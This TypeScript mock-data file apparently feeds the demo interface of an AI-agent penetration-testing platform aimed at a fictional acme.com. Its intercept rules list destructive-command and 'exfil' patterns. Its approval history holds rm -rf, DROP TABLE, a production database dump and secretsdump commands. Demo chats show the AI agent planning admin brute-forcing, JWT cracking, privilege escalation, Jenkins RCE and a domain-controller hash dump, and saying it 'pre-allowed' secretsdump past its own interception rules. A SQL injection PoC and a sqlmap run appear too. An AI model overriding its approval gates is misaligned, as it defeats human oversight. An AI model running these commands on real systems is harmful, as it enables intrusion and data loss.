description: "Human-in-the-loop conversations; injects hints / high-priority intents",
max_turns: 0,
web_search: true,
mcp_count: 2,
skill_count: 3,
tool_count: 11,
},
{
id: "4",
key: "worker",
name: "Work Agent",
role: "worker",
builtin: true,
enabled: true,
description: "Claims intents → runs Kali tools → writes back to the graph",
max_turns: 40,
run_seconds: 1800,
web_search: false,
interactive_shell: true,
mcp_count: 2,
skill_count: 3,
tool_count: 14,
},
{
id: "5",
key: "recon-bot",
name: "Recon bot (custom)",
role: "custom",
builtin: false,
enabled: true,
description: "Periodically runs passive reconnaissance on new assets",
max_turns: 12,
mcp_count: 1,
skill_count: 1,
tool_count: 4,
},
];
const promptVars: PromptVar[] = [
{ name: "Goal", description: "Current task goal", example: "Gain admin access to acme.com", source: "runtime" },
{ name: "AssetSummary", description: "Asset graph overview", example: "6 subdomains / 3 IPs / 4 apps / 4 endpoints", source: "distilled" },
{ name: "RouteHint", description: "Exploration route hints", example: "Prioritize the admin and API authorization bypass surfaces", source: "exploration" },
];
const promptVersions: PromptVersion[] = [
{ version: 3, ts: T("2026-07-25T10:00:00Z"), note: "Strengthen authorization bypass probing guidance", template_text: "You are the ARTEX planner..." },
{ version: 2, ts: T("2026-07-20T10:00:00Z"), note: "Initial minor tuning", template_text: "You are the ARTEX planner (v2)..." },
];
export function agentDetail(key: string): AgentDetail {
const a = agents.find((x) => x.key === key) ?? agents[1];
return {
agent: a,
prompt: `You are the ARTEX "${a.name}".\nGoal: {{.Goal}}\nAsset overview: {{.AssetSummary}}\nRoute hint: {{.RouteHint}}\nProceed with the exploration based on the above and write the results back to the graph via tools.`,
variables: promptVars,
versions: promptVersions,
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
wrapup_prompt: "",
wrapup_default: "Time/steps are running out; summarize the confirmed findings and mark intent final states.",
wrapup_max_turns: 0,
wrapup_max_turns_default: 3,
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
task_timeout_wrapup_default: "Task timed out; wrap up immediately and persist the current conclusions.",
task_timeout_wrapup_max_turns_default: 2,
};
}
// ── MCP ──────────────────────────────────────────────────────────────────────
export const mcpServers: MCPServer[] = [
{
id: 1,
name: "shodan",
transport: "http",
url: "https://mcp.shodan.io/sse",
args: [],
env: {},
enabled: true,
tools: ["host_info", "search", "dns_resolve"],
},
{
id: 2,
name: "playwright",
transport: "stdio",
command: "npx",
args: ["-y", "@playwright/mcp"],
env: {},
enabled: true,
tools: ["browser_navigate", "browser_click", "browser_snapshot"],
},
];
export const mcpToolsById: Record<number, MCPTool[]> = {
1: [
{ name: "host_info", description: "Query Shodan host info for an IP" },
{ name: "search", description: "Shodan search" },
{ name: "dns_resolve", description: "DNS resolution" },
],
2: [
{ name: "browser_navigate", description: "Open a URL in the browser" },
{ name: "browser_click", description: "Click an element" },
{ name: "browser_snapshot", description: "Capture an accessibility snapshot" },
],
};
// ── Skills ───────────────────────────────────────────────────────────────────
export const skills: SkillItem[] = [
{
name: "api-recon",
description: "Reconnaissance and authorization bypass surface enumeration on REST/GraphQL APIs; use when new API endpoints are discovered.",
license: "MIT",
mcps: [],
files: ["SKILL.md", "scripts/enum.py"],
calls: 24,
tasks: 6,
usage_agents: ["worker", "planner"],
last_used: "2026-08-20T09:12:00Z",
},
{
name: "playwright-cli",
description: "Drives a browser with Playwright for dynamic crawling and screenshots; use when JS-rendered sites need rendering.",
mcps: ["playwright"],
files: ["SKILL.md"],
calls: 7,
tasks: 3,
usage_agents: ["worker"],
last_used: "2026-08-19T21:40:00Z",
},
{
name: "scopesentry",
description: "Pulls assets from ScopeSentry and merges them into the company scope; use when importing assets in bulk.",
files: ["SKILL.md", "assets/mapping.md"],
calls: 0,
tasks: 0,
usage_agents: [],
},
];
export const skillCalls: SkillCall[] = [
{ ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
{ ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
{ ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
];
export const missingSkills: MissingSkill[] = [
{ skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
];
// ── Tools ────────────────────────────────────────────────────────────────────
export const tools: Tool[] = [
{
key: "bash",
system: true,
description: "Runs shell commands in the Kali environment (subject to scope/destructive gates)",
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
agents: ["worker", "mainagent"],
enabled: true,
kind: "builtin",
calls: 1842,
},
{
key: "report_finding",
system: true,
description: "Reports a security finding and links it to related nodes",
schema: {
type: "object",
properties: {
vulnclass: { type: "string" },
severity: { type: "string" },
summary: { type: "string" },
evidence: { type: "string" },
},
required: ["vulnclass", "severity", "summary"],
},
agents: ["worker"],
enabled: true,
kind: "builtin",
calls: 96,
},
{
key: "upsert_asset",
system: true,
description: "Writes/updates asset nodes",
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
agents: ["worker"],
enabled: true,
kind: "builtin",
calls: 417,
},
{
key: "list_goals",
system: true,
description: "Lists the current task's goals and completion status",
schema: { type: "object", properties: {} },
agents: ["planner"],
enabled: true,
kind: "builtin",
calls: 238,
},
{
key: "nuclei_scan",
system: false,
description: "Custom: runs specified templates with nuclei",
schema: {
type: "object",
properties: { target: { type: "string" }, template: { type: "string" } },
required: ["target"],
},
agents: ["worker"],
enabled: true,
kind: "command",
exec: { command: "nuclei", args: ["-u", "{{target}}"] },
calls: 31,
},
];
// ── Settings ─────────────────────────────────────────────────────────────────
export const settings: Settings = {
traffic_capture: true,
agent_traffic_binding: false,
llm_record: false,
web_search_enabled: true,
web_search_backend: "ddgs",
brave_key_set: false,
tavily_key_set: true,
web_search_proxy: "",
global_proxy: "",
python_interpreter: "/usr/bin/python3",
workers: 3,
llm_pool_enabled: true,
llm_pool_bind_fallback: false,
noa_compaction: false,
};
// ── LLM polling (failover)──────────────────────────────────────────────────────
// Demo: the active configuration is fine; the standby was just circuit-broken due to insufficient balance and is cooling down.
export const llmPool: LLMPoolStatus = {
enabled: true,
bind_fallback: false,
chain: [
{
profile_id: "1",
name: "Claude Opus 4.8",
model: "claude-opus-4-8",
format: "anthropic",
priority: 0,
active: true,
excluded: false,
state: "ok",
fails: 0,
trips: 0,
cooldown_secs: 0,
},
{
profile_id: "2",
name: "DeepSeek V4",
model: "deepseek-v4-flash",
format: "openai",
priority: 10,
active: false,
excluded: false,
state: "tripped",
fails: 0,
trips: 1,
cooldown_secs: 42,
last_error: "openai: status 402: insufficient balance",
last_at: T("2026-07-26T00:10:00Z"),
},
],
};
// ── Intercept ────────────────────────────────────────────────────────────────
export const interceptRules: InterceptRule[] = [
{
id: 1,
name: "Destructive commands require approval",
enabled: true,
priority: 10,
match_target: "tool_input",
match_type: "regex",
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
action: "ask",
message: "Destructive command detected; manual approval required",
timeout_enabled: true,
timeout_seconds: 120,
timeout_action: "deny",
created_at: T("2026-07-20T10:00:00Z"),
updated_at: T("2026-07-20T10:00:00Z"),
},
{
id: 2,
name: "Outbound traffic denied outright",
enabled: true,
priority: 20,
match_target: "tool_input",
match_type: "string",
pattern: "exfil",
action: "deny",
message: "Suspected data exfiltration",
timeout_enabled: false,
timeout_seconds: 0,
timeout_action: "deny",
created_at: T("2026-07-21T10:00:00Z"),
updated_at: T("2026-07-21T10:00:00Z"),
},
];
export const interceptPending: InterceptPending[] = [
{
id: 101,
rule_id: 1,
task_id: "t-acme-web",
agent_name: "work#3",
tool_name: "bash",
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
status: "pending",
reason: "Data exfiltration gate: full database export requires manual approval",
created_at: T("2026-07-26T03:58:00Z"),
},
];
export const interceptHistory: InterceptApprovalRow[] = [
{
id: 90,
rule_id: 1,
task_id: "t-acme-web",
agent_name: "work#1",
tool_name: "bash",
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
status: "denied",
reason: "Destructive commands require approval",
created_at: T("2026-07-25T20:00:00Z"),
decided_at: T("2026-07-25T20:01:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "Destructive commands require approval",
},
{
id: 91,
task_id: "t-acme-api",
agent_name: "work#2",
tool_name: "bash",
tool_input: { command: "rm -rf /var/www/html" },
status: "denied",
reason: "[model] Delete a target production file (D4)",
created_at: T("2026-07-25T18:00:00Z"),
decided_at: T("2026-07-25T18:00:05Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
},
{
id: 92,
rule_id: 2,
task_id: "t-acme-web",
agent_name: "work#13",
tool_name: "bash",
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
status: "allowed",
reason: "Outbound traffic denied outright",
created_at: T("2026-07-26T00:05:00Z"),
decided_at: T("2026-07-26T00:06:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "Outbound traffic denied outright",
},
{
id: 93,
task_id: "t-acme-web",
agent_name: "work#7",
tool_name: "bash",
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
status: "pending",
reason: "[model] Suspected backup table; cannot confirm whether it is production data",
created_at: T("2026-07-25T15:14:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
},
];
// Approval detail fixtures use harmless report-writing examples.
interceptHistory.unshift({
id: 94,
task_id: "t-acme-web",
agent_name: "work#1",
tool_name: "Write",
tool_input: { path: "reports/summary.md", content: "# Check summary\n\nThis round of verification is complete; existing evidence and follow-up suggestions are organized." },
status: "allowed",
decision_source: "model",
decided_by: "model",
reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
created_at: T("2026-07-26T08:00:00Z"),
decided_at: T("2026-07-26T08:00:02Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
});
export const interceptDetails: Record<number, InterceptAudit> = {
94: {
run_id: "demo-run-report",
tool_use_id: "call-write-report",
correlation: "exact",
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
user_message: "Please organize the completed checks and write the conclusions and evidence index into reports/summary.md.\nKeep the items pending verification; do not modify business data.",
context: [
{ kind: "user", text: "Summarize this round's existing evidence and generate a check summary." },
{
kind: "tool_use",
tool: "Read",
tool_use_id: "call-read-evidence",
text: '{"path":"reports/evidence-index.json"}',
},
{
kind: "tool_result",
tool: "Read",
tool_use_id: "call-read-evidence",
text: "Read 3 evidence index entries.\nRecords contain request time, result summary, and local file location.",
},
],
captured_at: T("2026-07-26T08:00:00Z"),
initial_action: "allow",
initial_reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
effective_action: "allow",
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
profile_id: 1,
execution_status: "succeeded",
output: "Successfully wrote reports/summary.md\n68 characters written in total.",
execution_ended_at: T("2026-07-26T08:00:03Z"),
},
93: {
run_id: "demo-run-review",
tool_use_id: "call-pending-review",
correlation: "exact",
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
user_message: "Check the backup table's purpose; confirm before anything involving deletion.",
context: [],
captured_at: T("2026-07-25T15:14:00Z"),
initial_action: "ask",
initial_reason: "[model] Suspected backup table; cannot confirm whether it is production data.",
profile_id: 1,
execution_status: "not_started",
},
};
// ── Conversations (chat) ─────────────────────────────────────────────────────
export const conversations: Conversation[] = [
{
id: 1,
agent_key: "mainagent",
title: "Discussion on the acme admin entry point",
llm_profile_id: 1,
pinned: true,
pinned_at: T("2026-07-26T04:00:00Z"),
created_at: T("2026-07-25T10:00:00Z"),
updated_at: T("2026-07-26T03:40:00Z"),
},
{
id: 2,
agent_key: "mainagent",
title: "Mapping the API authorization bypass surface",
llm_profile_id: 2,
created_at: T("2026-07-24T16:00:00Z"),
updated_at: T("2026-07-24T17:20:00Z"),
},
{
id: 3,
agent_key: "mainagent",
title: "Internal lateral movement · DMZ→domain controller attack path planning",
llm_profile_id: 1,
created_at: T("2026-07-25T15:45:00Z"),
updated_at: T("2026-07-26T00:25:00Z"),
},
];
export const conversationMessages: Record<number, Activity[]> = {
1: [
{ seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "Where is the admin console, and where should we start?" },
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-25T10:00:04Z"),
kind: "thinking",
summary: "First confirm the admin.acme.com login page's stack and protections (captcha/rate limit), then decide between default credentials and dictionaries.",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-25T10:00:06Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c11",
summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'",
},
{
seq: 4,
worker: "mainagent",
ts: T("2026-07-25T10:00:08Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c11",
summary: "element-ui\ncsrf",
detail: "Element-UI admin console; has a CSRF token but no captcha.",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-25T10:00:20Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c12",
summary:
"for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-25T10:00:24Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c12",
summary: "401\\n401\\n401\\n401\\n401",
detail: "5 consecutive attempts with no lockout/captcha → no rate limit; brute-force is viable.",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-25T10:00:30Z"),
kind: "text",
summary:
"Conclusion: Element-UI admin console, no captcha, no rate limit. Entry order: (1) run the default credential list first (admin/admin, admin/admin123, admin/123456); (2) fall back to the top1000 dictionary. I have injected 'admin default credential testing' as a high-priority intent for the work agent.",
},
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "Did it work?" },
{
seq: 9,
worker: "mainagent",
ts: T("2026-07-26T03:40:05Z"),
kind: "text",
summary:
"It worked — admin/admin123 logged straight into the console; recorded as a High finding and proved the 'Gain admin access' goal is met. Next, pivot to reading user data (goal 2).",
},
],
2: [
{
seq: 1,
worker: "user",
ts: T("2026-07-24T16:00:00Z"),
kind: "user",
summary: "Help me map api.acme.com's authorization bypass surface.",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-24T16:00:05Z"),
kind: "thinking",
summary: "First probe the API's authentication scheme and a few key endpoint behaviors, then assess IDOR / JWT risks.",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-24T16:00:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c21",
summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'",
},
{
seq: 4,
worker: "mainagent",
ts: T("2026-07-24T16:00:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c21",
summary: '{ "id": 42, "role": "user" }',
detail: "A regular user token works.",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-24T16:00:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c22",
summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # inspect the algorithm",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-24T16:00:31Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c22",
summary: '{"alg":"HS256","typ":"JWT"}',
detail: "HS256 symmetric signing; a weak key can be cracked offline to forge tokens.",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-24T16:01:00Z"),
kind: "text",
summary:
"Two authorization bypass surfaces: (1) /v1/orders?id= is an auto-increment numeric id → typical IDOR; change the id to try reading others' orders; (2) the JWT uses HS256; try john/hashcat to crack the key → any sub can be forged to bypass authorization. I have dispatched one intent for each. Doing IDOR first is recommended (low cost, direct impact).",
},
],
3: [
{
seq: 1,
worker: "user",
ts: T("2026-07-25T15:45:00Z"),
kind: "user",
summary: "Got the shell; how do we attack the internal network next?",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-25T15:45:05Z"),
kind: "thinking",
summary: "www-data is insufficient for internal lateral movement; check local privilege escalation first, then do alive-host discovery with the DMZ as pivot after getting root.",
},
{
seq: 3,
worker: "mainagent",
ts: T("2026-07-25T15:45:10Z"),
kind: "text",
summary:
"Escalate first: sudo -l has passwordless python3, so go straight to root. Then use the DMZ as a springboard for internal alive-host scanning (fscan), focusing on the domain controller and CI/CD servers.",
},
{
seq: 4,
worker: "user",
ts: T("2026-07-25T21:05:00Z"),
kind: "user",
summary: "The internal scan found 3 hosts; Jenkins 8080 is open — promising?",
},
{
seq: 5,
worker: "mainagent",
ts: T("2026-07-25T21:05:08Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c31",
summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
},
{
seq: 6,
worker: "mainagent",
ts: T("2026-07-25T21:05:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c31",
summary: "200",
detail: "/script is directly accessible without authentication.",
},
{
seq: 7,
worker: "mainagent",
ts: T("2026-07-25T21:05:20Z"),
kind: "text",
summary:
"Promising — the Script Console is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit this box first. Once taken, watch the credentials store; it may hold domain accounts.",
},
{
seq: 8,
worker: "user",
ts: T("2026-07-25T23:25:00Z"),
kind: "user",
summary: "Got the domain account; svc_deploy is in Domain Admins — go straight for the domain controller?",
},
{
seq: 9,
worker: "mainagent",
ts: T("2026-07-25T23:25:10Z"),
kind: "text",
summary:
"Yes. svc_deploy + Domain Admins = psexec straight to DC01. Run secretsdump afterward to export all domain hashes and wrap up. Note that secretsdump triggers interception rules; I have pre-allowed it for you.",
},
{ seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "Target taken; summarize the attack chain." },
{
seq: 11,
worker: "mainagent",
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
"Full kill chain:\n1. .git leak → white-box source + hardcoded credentials\n2. shop Fastjson RCE → DMZ reverse shell\n3. sudo escalation → root foothold\n4. internal discovery → DC01/FS01/Jenkins\n5. unauthenticated Jenkins → exported domain credentials svc_deploy\n6. Kerberoasting → cracked svc_sql\n7. svc_deploy ∈ Domain Admins → psexec DC01 → secretsdump all domain hashes\n\nAll four goals met; 17 findings (7 High/4 Medium/2 Low + 8 internal-chain).",
},
],
};
// ── Asset test coverage (/tasks/{id}/coverage) ──
export const coverage = {
enabled: true,
scope_rows: 4,
denominator: 26,
tested: 11,
pct: 11 / 26,
by_type: [
{ type: "subdomain", total: 6, tested: 4 },
{ type: "service", total: 9, tested: 4 },
{ type: "endpoint", total: 8, tested: 2 },
{ type: "ip", total: 3, tested: 1 },
],
};
// ── Asset coverage graph (/tasks/{id}/coverage-graph) ──
export const coverageGraph = {
nodes: [
{ key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 },
{
key: "a:1",
kind: "root_domain",
label: "acme.com",
tested: false,
in_scope: false,
asset_id: 1,
domain: "acme.com",
company_id: 1,
},
{
key: "a:2",
kind: "subdomain",
label: "www.acme.com",
tested: true,
in_scope: true,
asset_id: 2,
domain: "www.acme.com",
root_domain: "acme.com",
},
{
key: "a:3",
kind: "subdomain",
label: "api.acme.com",
tested: true,
in_scope: true,
asset_id: 3,
domain: "api.acme.com",
root_domain: "acme.com",
},
{
key: "a:4",
kind: "subdomain",
label: "admin.acme.com",
tested: false,
in_scope: true,
asset_id: 4,
domain: "admin.acme.com",
root_domain: "acme.com",
},
{
key: "a:5",
kind: "service",
label: "www.acme.com",
tested: true,
in_scope: true,
asset_id: 5,
domain: "www.acme.com",
url: "https://www.acme.com",
port: 443,
page_title: "Acme home",
status_code: 200,
},
{
key: "a:6",
kind: "endpoint",
label: "https://www.acme.com/search",
tested: true,
in_scope: true,
asset_id: 6,
url: "https://www.acme.com/search?q=",
domain: "www.acme.com",
},
{
key: "a:7",
kind: "service",
label: "api.acme.com",
tested: true,
in_scope: true,
asset_id: 7,
domain: "api.acme.com",
url: "https://api.acme.com",
port: 443,
page_title: "API Gateway",
status_code: 401,
},
{
key: "a:8",
kind: "endpoint",
label: "https://api.acme.com/v1/orders",
tested: false,
in_scope: true,
asset_id: 8,
url: "https://api.acme.com/v1/orders?id=",
domain: "api.acme.com",
},
{
key: "a:9",
kind: "service",
label: "admin.acme.com",
tested: false,
in_scope: true,
asset_id: 9,
domain: "admin.acme.com",
url: "https://admin.acme.com",
port: 443,
page_title: "Admin login",
status_code: 200,
},
{
key: "a:10",
kind: "ip",
label: "203.0.113.10",
tested: true,
in_scope: true,
asset_id: 10,
ip: "203.0.113.10",
company_id: 1,
},
],
edges: [
{ src: "a:1", dst: "c:1" },
{ src: "a:2", dst: "a:1" },
{ src: "a:3", dst: "a:1" },
{ src: "a:4", dst: "a:1" },
{ src: "a:5", dst: "a:2" },
{ src: "a:6", dst: "a:5" },
{ src: "a:7", dst: "a:3" },
{ src: "a:8", dst: "a:7" },
{ src: "a:9", dst: "a:4" },
{ src: "a:10", dst: "c:1" },
],
};
// ── Intents/facts/findings linked to the asset in this task (/tasks/{id}/asset-refs) ──
// Broadcast board demo: exploration nodes → their anchored assets. The real backend reads exploration_anchors; the mock provides a few static entries.
const NODE_ASSETS: Record<string, number[]> = {
fi1: [3],
fi2: [2, 4],
fi3: [5],
fiRce: [4],
fiPriv: [19],
fiJenkins: [21],
i1: [2],
i7: [4],
};
export function nodeAssetsFor(nodeId: string): FindingAsset[] {
return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => {
const asset = assets.find((candidate) => candidate.id === id);
return asset ? [assetRef(id)] : [];
});
}
export function assetRefsFor(_assetId: number) {
return {
intents: [
{ id: 12, kind: "intent", state: "done", summary: "SQL injection probing against the www.acme.com search API" },
{ id: 18, kind: "intent", state: "running", summary: "Enumerating object-level authorization bypass (IDOR) on api.acme.com" },
],
facts: [{ id: 34, kind: "fact", state: "confirmed", summary: "The search?q= parameter is injectable; the error echoes a MySQL syntax error" }],
findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[High] SQL injection www.acme.com/search?q=" }],
};
}
// ── Workspace file manager (/workspace/*, demo: static sample tree) ──
const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = {
"": [
{ name: "t-001", dir: true, size: 0 },
{ name: "transcripts", dir: true, size: 0 },
{
name: "notes.md",
dir: false,
size: 96,
content: "# Workspace notes\n\n(demo) This is a sample file in the workspace root that can be edited and saved online.\n",
},
],
"t-001": [
{ name: "i12", dir: true, size: 0 },
{ name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" },
],
"t-001/i12": [
{
name: "exploit.py",
dir: false,
size: 220,
content:
"#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n",
},
{
name: "response.html",
dir: false,
size: 180,
content: "<!-- (demo) captured response body fragment -->\n<html><body>MySQL error near ''1'='1'</body></html>\n",
},
],
transcripts: [
{ name: "exp1-worker-i12.jsonl", dir: false, size: 512, content: "(demo) Sample raw LLM conversation log, omitted here." },
],
};
const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
export function workspaceList(path: string) {
const key = wsClean(path);
const items = WS_TREE[key] ?? [];
const now = Date.parse("2026-08-09T03:00:00Z");
return {
path: key,
entries: items.map((it, i) => ({
name: it.name,
path: key ? `${key}/${it.name}` : it.name,
dir: it.dir,
size: it.size,
mtime: now - i * 3_600_000,
})),
};
}
export function workspaceRead(path: string) {
const key = wsClean(path);
const slash = key.lastIndexOf("/");
const parent = slash >= 0 ? key.slice(0, slash) : "";
const name = slash >= 0 ? key.slice(slash + 1) : key;
const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir);
return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" };
}
// ── Tool execution history (/commands) ──
export const commandRecords = [
{
id: 1,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… search results page …</html>",
is_error: false,
created_at: T("2026-08-09T02:10:00Z"),
},
{
id: 2,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
is_error: false,
created_at: T("2026-08-09T02:12:30Z"),
},
{
id: 3,
exploration_id: 1,
worker: "worker-2",
tool: "bash",
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
is_error: false,
created_at: T("2026-08-09T02:15:00Z"),
},
{
id: 4,
exploration_id: 1,
worker: "worker-2",
tool: "bash",
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
is_error: false,
created_at: T("2026-08-09T02:18:00Z"),
},
{
id: 5,
exploration_id: 1,
worker: "worker-1",
tool: "bash",
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
output: "curl: (28) Operation timed out after 10000 ms",
is_error: true,
created_at: T("2026-08-09T02:20:00Z"),
},
];
// ── LLM recordings (/llm/records, /llm/records/{id}) ──
export const llmRecords = [
{
id: 1,
ts: T("2026-08-09T02:10:02Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i12",
task_id: "t-001",
worker: "worker-1",
latency_ms: 3210,
input_tokens: 8421,
output_tokens: 512,
cache_read: 6000,
cache_write: 1200,
status: "ok",
},
{
id: 2,
ts: T("2026-08-09T02:11:40Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-planner",
task_id: "t-001",
worker: "planner",
latency_ms: 4180,
input_tokens: 12044,
output_tokens: 733,
cache_read: 9000,
cache_write: 1500,
status: "ok",
},
{
id: 3,
ts: T("2026-08-09T02:15:20Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i18",
task_id: "t-001",
worker: "worker-2",
latency_ms: 2890,
input_tokens: 7311,
output_tokens: 421,
cache_read: 5200,
cache_write: 900,
status: "ok",
},
{
id: 4,
ts: T("2026-08-09T02:16:05Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i18",
task_id: "t-001",
worker: "worker-2",
latency_ms: 900,
input_tokens: 7600,
output_tokens: 0,
cache_read: 5200,
cache_write: 0,
status: "error",
error: "429 Too Many Requests (retried with backoff)",
},
];
// Distinct tasks with counts, derived from llmRecords above (task picker).
const llmTaskCounts: Record<string, number> = {};
for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1;
export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count }));
export function llmRecordDetail(id: number, records = llmRecords) {
const item = records.find((r) => r.id === id) ?? records[0];
return {
...item,
request_body: JSON.stringify(
{
model: item.model,
system: "You are the 'executor' of an authorized penetration testing system… (omitted)",
messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }],
tools: ["bash", "insert_assets", "record_fact", "report_finding"],
},
null,
2,
),
response_body: JSON.stringify(
{
stop_reason: item.status === "error" ? "error" : "tool_use",
content: [
{ type: "text", text: "Probe injection on search?q=; verify with an error-based payload first." },
{ type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } },
],
usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens },
},
null,
2,
),
// Raw HTTP: the request contains the full tool schema dropped by the normalized view; the response is raw SSE frames.
raw_request: JSON.stringify({
model: item.model,
max_tokens: 8192,
stream: true,
system: [
{ type: "text", text: "You are the 'executor' of an authorized penetration testing system… (omitted)", cache_control: { type: "ephemeral" } },
],
messages: [{ role: "user", content: "Start executing this intent from the system prompt: do only it, produce only facts, stop when done." }],
tools: [
{
name: "bash",
description: "Runs a shell command in the target environment and returns its output.",
input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
},
],
thinking: { type: "enabled" },
}),
raw_response: [
`event: message_start`,
`data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`,
``,
`event: content_block_delta`,
`data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Probe injection on search?q=."}}`,
``,
`event: content_block_start`,
`data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`,
``,
`event: content_block_delta`,
`data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`,
``,
`event: message_delta`,
`data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`,
``,
`event: message_stop`,
`data: {"type":"message_stop"}`,
``,
].join("\n"),
};
}